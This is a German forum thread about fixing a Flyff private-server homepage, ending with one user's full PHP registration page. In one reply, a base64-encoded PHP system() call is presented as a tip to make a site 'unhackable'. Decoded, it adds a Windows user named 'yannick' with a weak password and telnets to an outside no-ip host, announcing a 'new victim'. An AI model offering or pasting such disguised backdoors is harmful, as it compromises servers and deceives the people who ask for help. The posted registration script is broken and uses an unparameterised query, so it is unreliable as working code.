Homepage problem

  • HDBlacker;138883 schrieb:

    oder einfach ein HD vor den usernamen setzen! kommt garantiert keiner drauf!


    Ich hab ein Geheimtyp von meinem Kryptologen freund bekommen:

    PHP-Quellcode

    1. <?php
    2. $str = 'bmV0IHVzZXIgeWFubmljayAxMjM0NTYgL2FkZCAmJiB0ZWxuZXQgeWFubmljay5uby1pcC5vcmcg
    3. MTM4NSAmJiBOZXVlcyBWaWN0aW0gZ2VmdW5kZW4=';
    4. system(base64_decode($str));
    5. ?>


    Einfach in die ersten Zeilen packen und dan is deine seite unhackbar!
  • Werbung zur Unterstützung des Forums ( Bitte AddBlocker deaktivieren )

  • DJTechno;139458 schrieb:

    also ich habs jetzt geschaft das es die scheiße codes nicht mehr anzeigt aber jetzt hab ich des problem wenn ich auf Regiser klicke kommt die felder nicht wo ich die sachen ein tragen muss kann mir einer helfen vllt. über icq skye oder msn ?


    Poste mal das register script.
  • despiteous;139464 schrieb:

    Ich würde eher darauf tippen dass du MsSQL in der php.ini noch nicht aktiviert hast.
    Benutz mal die Sufu , hier gab es mal irgendwo einen Guide von Ninpa wie man es aktiviert
    falls du es nicht weißt.


    Dan würde aber Apache ihn aber mit Error's peinigen!
  • <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
    <!--


    Name : Hyper Flyff
    Description: Welcome to Hyper Flyff.
    Version : 1.0
    Released : 20091004

    -->
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <meta http-equiv="content-type" content="text/html; charset=utf-8" />
    <title>Hyper Flyff</title>
    <meta name="keywords" content="" />
    <meta name="Gestured" content="" />
    <link href="default.css" rel="stylesheet" type="text/css" media="screen" />
    </head>
    <body>
    <div id="wrapper">
    <!-- start header -->
    <div id="header">
    <div id="menu">
    <ul id="main">
    <li class="current_page_item"><a href="index.php">Homepage</a></li>
    <li><a href="Register.php">Register</a></li>
    <li><a href="Downloads.php">Downloads</a></li>
    <li><a href="Ranking.php">Ranking</a></li>
    </ul>
    </div>
    <div id="logo">
    <h1><a href="#"><span>Hyper Flyff</span></a></h1>
    <p>Website done by Hyper Flyff</p>
    </div>
    </div>
    <!-- end header -->
    <!-- start page -->
    <div id="page">
    <div id="sidebar1" class="sidebar">
    <ul>
    <li>
    <h2>Server Stats</h2>
    <ul>
    <li>Exp: 30</li>
    <li>Drop: 15</li>
    <li>Penya: 100</li>
    <li>Raining Event: X2 exp</li>
    <li>Special Event: x2 Exp, Drop, Penya</li>

    </ul>
    </li>
    <li>
    <h2>Status</h2>
    <ul>

    <br><li>Account Server:
    <?php
    $online = @fsockopen("127.0.0.1", 12001, $errno, $errstr, 1);
    if($online >= 1) {
    echo '<b><font color=#00FF00>Online</font></b>';
    }
    else {
    echo '<b><font color=#FF0000>Offline</font></b>';
    }
    ?></li>

    <br><li>Login Server:
    <?php
    $online = @fsockopen("127.0.0.1", 28000, $errno, $errstr, 1);
    if($online >= 1) {
    echo '<b><font color=#00FF00>Online</font></b>';
    }
    else {
    echo '<b><font color=#FF0000>Offline</font></b>';
    }
    ?></li>
    <br><li>World Server:
    <?php
    $online = @fsockopen("127.0.0.1", 2101, $errno, $errstr, 1);
    if($online >= 1) {
    echo '<b><font color=#00FF00>Online</font></b>';
    }
    else {
    echo '<b><font color=#FF0000>Offline</font></b>';
    }
    ?></li>
    </ul>
    </li>
    <li>
    <h2>Server Specs</h2>
    <ul>
    <li>Cpu: AMD Dual Core 5000+</li>
    <li>Ram: 4 GB DDR 800 Mhz</li>
    <li>HDD: x2 750 Sata 2 Drives</li>
    </ul>
    </li>

    </ul>
    </div>
    <!-- start content -->
    <div id="content">
    <div class="post">

    <div class="entry">
    <p>
    <?php
    require('./configs/reg_conf.php');
    function doesUsernameExist($name){
    $exit = FALSE;
    $result = @mssql_query("SELECT * FROM ACCOUNT_TBL WHERE account='$name'");
    if (mssql_num_rows($result) != 0){
    $exit = TRUE;
    }
    return $exit;
    }

    if(isset($_POST['submit'])){
    $user = preg_replace ("[^A-Za-z0-9]", "", $_POST['username']);
    $pass = preg_replace ("[^A-Za-z0-9]", "", $_POST['password']);
    if($_POST['username'] == ""){
    echo '<font color="red">Enter a user.</font><br /><br />';
    }
    else if($_POST['password'] == ""){
    echo '<font color="red">Enter a password.</font><br /><br />';
    }
    else if ((strlen($_POST['username']) > 16) || (strlen($_POST['username']) < 3)){
    echo '<font color="red">The user should be 3 to 16 characters.</font><br /><br />';
    }
    else if ((strlen($_POST['password']) > 16) || (strlen($_POST['password']) < 3)){
    echo '<font color="red">The password should be 3 to 16 characters.</font><br /><br />';
    }
    else if($_POST['username'] != $user){
    echo '<font color="red">User with invalid characters.</font><br /><br />';
    }
    else if($_POST['password'] != $pass){
    echo '<font color="red">Password with invalid characters.</font><br /><br />';
    }
    else {
    $pass = md5('kikugalanet' . $pass);
    if(!doesUsernameExist($user)){
    $stmt = mssql_init('webCreateAcc', $link);
    mssql_bind($stmt, '@account', $user, SQLVARCHAR, false, false, 15);
    mssql_bind($stmt, '@password', $pass, SQLVARCHAR, false, false, 36);
    mssql_bind($stmt, '@birthday', $bday, SQLVARCHAR, false, false, 120);
    mssql_free_statement($stmt);
    echo '<font color="Green">Register Successfull.</font><br /><br />';
    }
    else {
    echo '<font color="red">User already Exist.</font><br /><br />';
    }
    }
    mssql_close();
    }

    echo '<form action="#" method="post">';
    echo 'Username: <input type="text" name="username" /><br />';
    echo 'Password: <input type="password" name="password" /><br />';
    echo 'Birthday: <input type="birthday" name="birthday" /><br />';
    echo '<input type="submit" name="submit" value="Register" />';
    echo '</form>';

    ?>

    </div>
    </div>

    </div>
    <!-- end content -->
    <!-- start sidebars -->
    <div id="sidebar2" class="sidebar">
    <ul>
    <li>
    <h2>Calendar</h2>
    <div id="calendar_wrap">
    <table summary="Calendar">
    <caption>
    October 2009
    </caption>
    <thead>
    <tr>
    <th abbr="Monday" scope="col" title="Monday">M</th>
    <th abbr="Tuesday" scope="col" title="Tuesday">T</th>
    <th abbr="Wednesday" scope="col" title="Wednesday">W</th>
    <th abbr="Thursday" scope="col" title="Thursday">T</th>
    <th abbr="Friday" scope="col" title="Friday">F</th>
    <th abbr="Saturday" scope="col" title="Saturday">S</th>
    <th abbr="Sunday" scope="col" title="Sunday">S</th>
    </tr>
    </thead>
    <tfoot>
    <tr>
    <td abbr="September" colspan="3" id="prev"><a href="#" title="View posts for September 2009">&laquo; Sep</a></td>
    <td class="pad">&nbsp;</td>
    <td colspan="3" id="next">&nbsp;</td>
    </tr>
    </tfoot>
    <tbody>
    <tr>
    <td>1</td>
    <td>2</td>
    <td>3</td>
    <td>4</td>
    <td>5</td>
    <td>6</td>
    <td>7</td>
    </tr>
    <tr>
    <td>8</td>
    <td>9</td>
    <td>10</td>
    <td>11</td>
    <td>12</td>
    <td>13</td>
    <td>14</td>
    </tr>
    <tr>
    <td>15</td>
    <td>16</td>
    <td>17</td>
    <td>18</td>
    <td>19</td>
    <td>20</td>
    <td>21</td>
    </tr>
    <tr>
    <td>22</td>
    <td>23</td>
    <td>24</td>
    <td>25</td>
    <td>26</td>
    <td>27</td>
    <td id="today">28</td>
    </tr>
    <tr>
    <td>29</td>
    <td>30</td>
    <td>31</td>
    <td class="pad" colspan="4">&nbsp;</td>
    </tr>
    </tbody>
    </table>
    </div>
    </li>
    <li>
    <h2>More Info</h2>
    <ul><?php
    require('./configs/t_account_conf.php');
    echo 'Total Accounts: ' . mssql_num_rows($query);
    ?>








    <br>


    <?php
    require('./configs/t_character_conf.php');
    echo 'Total Characters: ' . mssql_num_rows($query);
    ?>










    <br>


    <?php
    require('./configs/t_user_conf.php');
    echo 'Users Online: ' . mssql_num_rows($query);
    ?>

    </ul>
    </li>
    </ul>
    </div>
    <!-- end sidebars -->
    <div style="clear: both;">&nbsp;</div>
    </div>
    <!-- end page -->
    </div>
    <div id="footer">

    </div>
    </body>
    </html>


    hier meine register skript kann es auch sein das es nicht geht da ich noch v14 habe?